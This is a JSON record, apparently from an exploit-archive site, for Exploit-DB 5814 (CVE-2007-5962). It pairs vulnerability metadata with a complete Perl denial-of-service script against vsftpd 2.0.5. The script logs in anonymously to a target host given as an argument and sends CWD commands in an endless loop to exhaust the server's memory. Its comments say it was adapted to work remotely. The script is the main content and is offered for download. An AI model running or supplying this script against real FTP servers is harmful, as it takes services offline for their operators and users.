{"exploit":{"id":"EDB-5814","name":"vsftpd 2.0.5 - 'CWD' Authenticated Remote Memory Consumption","description":"vsftpd 2.0.5 - 'CWD' Authenticated Remote Memory Consumption","cves":["CVE-2007-5962"],"author":"Praveen Darshanam","published":"2008-06-14","platform":"linux","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5814","path":"exploits/linux/dos/5814.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5814.pl","vulnerabilities":[{"id":"CVE-2007-5962","state":"PUBLISHED","title":null,"titleSource":null,"description":"Memory leak in a certain Red Hat patch, applied to vsftpd 2.0.5 on Red Hat Enterprise Linux (RHEL) 5 and Fedora 6 through 8, and on Foresight Linux and rPath appliances, allows remote attackers to cause a denial of service (memory consumption) via a large number of CWD commands, as demonstrated by an attack on a daemon with the deny_file configuration option.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5962","cvss":{"version":"2.0","baseScore":7.1,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5962"},"updatedAt":"2024-08-07T15:47:00.627Z","retrievedAt":"2026-11-27T10:08:14.795Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5814.png?v=2","url":"https://exploitbin.com/exploits/EDB-5814","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5814/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5814/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n\n\n#######################################################################################\n#\t\tvsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,\n#\t\tForesight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.\n#\n#\t\tCan be xploited by large number of CWD commands to vsftp daemon with deny_file configuration\n#\t\toption in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.\n#\n#\t\tI tried to modify local exploit found at securityfocus such that we can remotely exloit\n#\n# \t\tAuthor shall not bear any responsibility\n#\t\tAuthor:\tPraveen Darshanam\n#\t\tEmail:\tpraveen[underscore]recker[at]sify.com\n#\t\tDate:\t07th June, 2008\n#\n#\n########################################################################################\n\n\nuse Net::FTP;\n$ftp=Net::FTP->new(\"$ARGV[0]\",Debug=>0) || die \"Cannot connect to Host $ARGV[0]\\n Usage: $perl script_name.pl target_ip\\n\";\n$ftp -> login(\"anonymous\",\"anonymous\") || die \"Could not Login...Retry\";\n\nwhile(1)\n{\n#this loop runs infinitely\n\n$ftp -> cwd();\n}\n\n$ftp->quit;\n\n# milw0rm.com [2008-06-14]","sha256":"c6d4b9b11769be85b1a30a5180d26754f14a055a5c5b37a4a0228a8488ca65ce","bytes":1094,"fetchedAt":"2026-11-27T10:08:14.611Z","encoding":"utf-8 (display only; download retains original bytes)"}